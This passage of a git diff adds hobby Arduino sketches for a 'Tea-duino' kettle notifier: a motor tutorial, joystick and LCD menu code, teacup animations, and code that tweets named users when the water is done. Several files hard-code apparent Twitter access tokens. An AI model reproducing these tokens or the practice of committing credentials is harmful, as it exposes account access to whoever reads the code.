them. + * To control bigger items we need the help of a transistor. + * Here we will use a transistor to control a small toy motor + * + * http://tinyurl.com/d4wht7 + * + */ + +int motorPin = 9; // define the pin the motor is connected to + // (if you use pin 9,10,11 or 3you can also control speed) + +/* + * setup() - this function runs once when you turn your Arduino on + * We set the motors pin to be an output (turning the pin high (+5v) or low (ground) (-)) + * rather than an input (checking whether a pin is high or low) + */ +void setup() +{ + pinMode(motorPin, OUTPUT); +} + + +/* + * loop() - this function will start after setup finishes and then repeat + * we call a function called motorOnThenOff() + */ + +void loop() // run over and over again +{ + motorOnThenOff(); + //motorOnThenOffWithSpeed(); + //motorAcceleration(); +} + +/* + * motorOnThenOff() - turns motor on then off + * (notice this code is identical to the code we used for + * the blinking LED) + */ +void motorOnThenOff(){ + int onTime = 2500; //the number of milliseconds for the motor to turn on for + int offTime = 1000; //the number of milliseconds for the motor to turn off for + + digitalWrite(motorPin, HIGH); // turns the motor On + delay(onTime); // waits for onTime milliseconds + digitalWrite(motorPin, LOW); // turns the motor Off + delay(offTime); // waits for offTime milliseconds +} + +/* + * motorOnThenOffWithSpeed() - turns motor on then off but uses speed values as well + * (notice this code is identical to the code we used for + * the blinking LED) + */ +void motorOnThenOffWithSpeed(){ + + int onSpeed = 200; // a number between 0 (stopped) and 255 (full speed) + int onTime = 2500; //the number of milliseconds for the motor to turn on for + + int offSpeed = 50; // a number between 0 (stopped) and 255 (full speed) + int offTime = 1000; //the number of milliseconds for the motor to turn off for + + analogWrite(motorPin, onSpeed); // turns the motor On + delay(onTime); // waits for onTime milliseconds + analogWrite(motorPin, offSpeed); // turns the motor Off + delay(offTime); // waits for offTime milliseconds +} + +/* + * motorAcceleration() - accelerates the motor to full speed then + * back down to zero +*/ +void motorAcceleration(){ + int delayTime = 50; //milliseconds between each speed step + + //Accelerates the motor + for(int i = 0; i < 256; i++){ //goes through each speed from 0 to 255 + analogWrite(motorPin, i); //sets the new speed + delay(delayTime); // waits for delayTime milliseconds + } + + //Decelerates the motor + for(int i = 255; i >= 0; i--){ //goes through each speed from 255 to 0 + analogWrite(motorPin, i); //sets the new speed + delay(delayTime); // waits for delayTime milliseconds + } +} diff --git a/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino b/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino new file mode 100755 index 0000000..278ca71 --- /dev/null +++ b/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino @@ -0,0 +1,31 @@ +int UD = 0; +int LR = 0; + +void setup() { + Serial.begin(9600); +} + +void loop() { + UD = analogRead(A0); + LR = analogRead(A1); + if (UD == 0) + { + Serial.println("This is down!"); + } + else + if (UD == 1023) + { + Serial.println("This is up!"); + } + else + if (LR == 0) + { + Serial.println("This is Left!"); + } + else + if (LR == 1023) + { + Serial.println("This is Right!"); + } + delay(10); +} diff --git a/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino b/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino new file mode 100755 index 0000000..b15ee67 --- /dev/null +++ b/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino @@ -0,0 +1,72 @@ +// include the library code: +#include + +// initialize the library with the numbers of the interface pins +LiquidCrystal lcd(7, 8, 9, 10, 11, 12); +int UD = 0; +int LR = 0; +const int buttonPin = 2; + +char* myString [] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@hozar132"}; +int length = 0; + +int buttonState = 0; + +int i = 0; + +void setup(){ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + Serial.begin(9600); +} + +void loop() +{ + //Get length of myString + length = 5; + + UD = analogRead(0); + LR = analogRead(1); + /* + if (UD > 512) + { + Serial.print("UP"); + delay(800); + } + else + if (UD < 512) + { + Serial.print("Down"); + delay(800); + } + else + if (LR < 512 && UD > 512) + { + Serial.print("Right"); + delay(800); + } + else + if (LR < 512) + { + Serial.print("Left"); + delay(800); + }*/ + + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + lcd.clear(); + lcd.write(">"); + lcd.write(myString[i]); + lcd.setCursor(1,1); + lcd.write(myString[i + 1]); + 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mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +const int buttonPin = 9; +int buttonState = 0; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +//byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + +// Message to post +char msg[] = "@KevinMidboe Vannet er ferdig!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + Serial.println("Ready!"); + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); + } +} + diff --git a/Projects/Tea-duino Main/Tea-duino 2.0.pde b/Projects/Tea-duino Main/Tea-duino 2.0.pde new file mode 100755 index 0000000..0dff1f0 --- /dev/null +++ b/Projects/Tea-duino Main/Tea-duino 2.0.pde @@ -0,0 +1,315 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@Hozar132"}; +char *itsDone[] = {"Vannet er ferdig!", "TEATIME!", "my Man, the water is done!"}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +int resetPin = 9; +int buttonState = 0; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +void setup() +{ + pinMode(resetPin, OUTPUT); + + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + username = twitterHandles[upDownCount]; + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + if (LR == 1022) + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + waterOnAndTweet(username); + } + else + { + checkWaterON(username); + } +} + +void waterOnAndTweet(char* username) +{ + buttonState = digitalRead(buttonPin); + while (buttonState == LOW) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOnAndTweet(username); + } + if (twitter.post(username)) + { + int status = twitter.wait(&lcd); + if (status == 200) + { + waitForPickup(); + } + else + if(status == 403) + { + lcd.clear(); + lcd.write("Duplicate tweet!"); + lcd.setCursor(0,1); + lcd.write(status); + delay(65000); + twitter.post(username); + + // int status = twitter.wait(&lcd); + // if(status == 200) + // { + // waitForPickup(); + // } + // else + // { + // waterOnAndTweet(username); + // } + } + } +} + +void waitForPickup() +{ + buttonState = digitalRead(buttonPin); + while (buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + while (buttonState == LOW) + { + lcd.clear(); + lcd.write("RESET!"); + digitalWrite(resetPin, HIGH); + delay(3000); + } +} \ No newline at end of file diff --git a/Projects/Tea-duino Main/Tea-duino.pde b/Projects/Tea-duino Main/Tea-duino.pde new file mode 100755 index 0000000..c39d042 --- /dev/null +++ b/Projects/Tea-duino Main/Tea-duino.pde @@ -0,0 +1,284 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *mainMenu[] = {"Choose user", "Add new user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@OdinBN", "@Hozar132"}; +char *alphabet[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", + "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", + "4", "5", "6", "7", "8", "9"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + + +//byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char message[] = "Didn't have anyone to send to... :("; + +const int buttonPin = 9; +int buttonState = 0; +int animatorSelector = 2; +int UD = 1; +int LR = 1; + +int i = 1; +int j = 0; +int k = 0; +int lengthMainMenu = 2; +int lengthTwitterHandles = 5; +int lengthAlphabet = 36; + +boolean boolMainMenu = true; +boolean boolTwitterHandles = false; +boolean waterBoiling = false; +int selected = 0; + + +void setup() +{ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + //Ethernet.begin(mac); + + lcd.write("Ready!"); + delay(1000); + lcd.clear(); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); +} + +void loop() +{ + while (boolMainMenu == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 0; + } + if (UD == 0) + { + i = 0; + lcd.clear(); + lcd.setCursor(1, 0); + lcd.write(mainMenu[i]); + lcd.setCursor(0, 1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 1; + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + if (selected == 0) + { + boolMainMenu = false; + boolTwitterHandles = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1, 1); + lcd.write(twitterHandles[i + 1]); + } + else + if (selected == 1) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + k++; + if (k == 37) + { + k = 0; + } + } + if (UD == 0) + { + k--; + if (k == -1) + { + k = 37; + } + } + + lcd.clear(); + lcd.write(alphabet[k]); + lcd.write(alphabet[k + 1]); + + /*for(int k = 0; k < lengthTwitterHandles; k++) + { + + }*/ + + if (LR == 0) + { + //Save the typed-inn name + //Add @ to the name + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + } + } + } + } + + while(boolTwitterHandles == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 0) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + i++; + if (i == lengthMainMenu) + { + i = 0; + } + } + if (UD == 1022) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i]); + delay(800); + i--; + if (i == 0) + { + //i = lengthMainMenu; + i = 1; + } + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + //ERROR + //Invalid conversion from 'char*' to 'char' + //message[] = twitterHandles[i]; + waterBoiling = false; + boolTwitterHandles = false; + lcd.clear(); + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 0) + { + boolTwitterHandles = false; + boolMainMenu = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1, 1); + lcd.write(mainMenu[i + 1]); + } + } + + //Maybe (while(waterBoiling == true && buttonState == LOW)) + while(waterBoiling == true) + { + lcd.setCursor(9, 1); + lcd.write(animatorSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animatorSelector++; + delay(3000); + lcd.clear(); + + if(animatorSelector > 5) + { + animatorSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + twitter.post(message); + waterBoiling = false; + buttonState = digitalRead(buttonPin); + } + } + + while(waterBoiling == false && buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6 + j); + lcd.setCursor(10, 1); + lcd.write(1); + j++; + delay(1200); + if (j == 2) + { + j = 0; + } + buttonState = digitalRead(buttonPin); + if(buttonState == LOW) + { + boolMainMenu = true; + lcd.clear(); + } + } +} \ No newline at end of file diff --git a/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino b/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino new file mode 100755 index 0000000..f29d999 --- /dev/null +++ b/Projects/Tea-duino Main/TeaAnimation/TeaAnimation.ino @@ -0,0 +1,200 @@ +#include +#include +#include +#include + +// initialize the library with the numbers of the interface pins +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +byte CoffeeEmpty[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b10001, + 0b10001, + 0b01110 +}; + +byte CoffeeHank[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b00000, + 0b11000, + 0b01000, + 0b11000, + 0b00000 +}; + +byte Coffee1[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b10001, + 0b11111, + 0b01110 +}; + +byte Coffee2[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b10001, + 0b11111, + 0b11111, + 0b01110 +}; + +byte Coffee3[8] = { + 0b00000, + 0b00000, + 0b00000, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte CoffeeSmoke1[8] = { + 0b00101, + 0b01010, + 0b00101, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte CoffeeSmoke2[8] = { + 0b01010, + 0b00101, + 0b01010, + 0b11111, + 0b11111, + 0b11111, + 0b11111, + 0b01110 +}; + +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char msg[] = "@KevinMidboe @SindreIvers"; + +int buttonPin = 9; + +int animationSelector = 2; +int buttonState = 0; + +boolean waterDone = false; +boolean tweeted = false; + +void setup() +{ + Ethernet.begin(mac); + //Serial.begin(9600); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + while (waterDone == false) + { + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(3000); + lcd.clear(); + + if (animationSelector > 5) + { + animationSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + waterDone = true; + } + } + buttonState = digitalRead(buttonPin); + if (waterDone == true && buttonState == HIGH) + { + while(tweeted == false) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) + { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) + { + Serial.println("OK."); + tweeted = true; + } + else + { + Serial.print("failed : code "); + Serial.println(status); + } + } + else + { + Serial.println("connection failed."); + } + } + } + while(buttonState == HIGH && tweeted == true) + { + delay(1000); + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1200); + + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1200); + + buttonState = digitalRead(buttonPin); + } + + if (buttonState == LOW && tweeted == true) + { + lcd.clear(); + lcd.write(">Choose User"); + lcd.setCursor(1, 1); + lcd.write("Add new User"); + delay(4000); + } +} + + + diff --git a/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino b/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino new file mode 100755 index 0000000..b629c8e --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino/Tea_duino.ino @@ -0,0 +1,284 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *mainMenu[] = {"Choose user", "Add new user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@OdinBN", "@Hozar132"}; +char *alphabet[] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", + "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", + "4", "5", "6", "7", "8", "9"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + + +//byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); +char message[] = "Didn't have anyone to send to... :("; + +const int buttonPin = 9; +int buttonState = 0; +int animatorSelector = 2; +int UD = 1; +int LR = 1; + +int i = 1; +int j = 0; +int k = 0; +int lengthMainMenu = 2; +int lengthTwitterHandles = 5; +int lengthAlphabet = 36; + +boolean boolMainMenu = true; +boolean boolTwitterHandles = false; +boolean waterBoiling = false; +int selected = 0; + + +void setup() +{ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + //Ethernet.begin(mac); + + lcd.write("Ready!"); + delay(1000); + lcd.clear(); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); +} + +void loop() +{ + while (boolMainMenu == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 0; + } + if (UD == 0) + { + i = 0; + lcd.clear(); + lcd.setCursor(1, 0); + lcd.write(mainMenu[i]); + lcd.setCursor(0, 1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + delay(800); + selected = 1; + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + if (selected == 0) + { + boolMainMenu = false; + boolTwitterHandles = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1, 1); + lcd.write(twitterHandles[i + 1]); + } + else + if (selected == 1) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 1022) + { + k++; + if (k == 37) + { + k = 0; + } + } + if (UD == 0) + { + k--; + if (k == -1) + { + k = 37; + } + } + + lcd.clear(); + lcd.write(alphabet[k]); + lcd.write(alphabet[k + 1]); + + /*for(int k = 0; k < lengthTwitterHandles; k++) + { + + }*/ + + if (LR == 0) + { + //Save the typed-inn name + //Add @ to the name + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + } + } + } + } + + while(boolTwitterHandles == true) + { + LR = analogRead(A0); + UD = analogRead(A1); + delay(300); + if (UD == 0) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + delay(800); + i++; + if (i == lengthMainMenu) + { + i = 0; + } + } + if (UD == 1022) + { + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i]); + delay(800); + i--; + if (i == 0) + { + //i = lengthMainMenu; + i = 1; + } + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 1022) + { + //ERROR + //Invalid conversion from 'char*' to 'char' + //message[] = twitterHandles[i]; + waterBoiling = false; + boolTwitterHandles = false; + lcd.clear(); + } + LR = analogRead(A0); + UD = analogRead(A1); + if (LR == 0) + { + boolTwitterHandles = false; + boolMainMenu = true; + i = 0; + lcd.clear(); + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1, 1); + lcd.write(mainMenu[i + 1]); + } + } + + //Maybe (while(waterBoiling == true && buttonState == LOW)) + while(waterBoiling == true) + { + lcd.setCursor(9, 1); + lcd.write(animatorSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animatorSelector++; + delay(3000); + lcd.clear(); + + if(animatorSelector > 5) + { + animatorSelector = 2; + } + + buttonState = digitalRead(buttonPin); + if(buttonState == HIGH) + { + twitter.post(message); + waterBoiling = false; + buttonState = digitalRead(buttonPin); + } + } + + while(waterBoiling == false && buttonState == HIGH) + { + lcd.clear(); + lcd.setCursor(9, 1); + lcd.write(6 + j); + lcd.setCursor(10, 1); + lcd.write(1); + j++; + delay(1200); + if (j == 2) + { + j = 0; + } + buttonState = digitalRead(buttonPin); + if(buttonState == LOW) + { + boolMainMenu = true; + lcd.clear(); + } + } +} diff --git a/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino b/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino new file mode 100755 index 0000000..deb1a78 --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino_2_0/Tea_duino_2_0.ino @@ -0,0 +1,315 @@ +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; +char *twitterHandles[] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@Hozar132"}; +char *itsDone[] = {"Vannet er ferdig!", "TEATIME!", "my Man, the water is done!"}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +int resetPin = 3; +int buttonState; +int UD = 1; 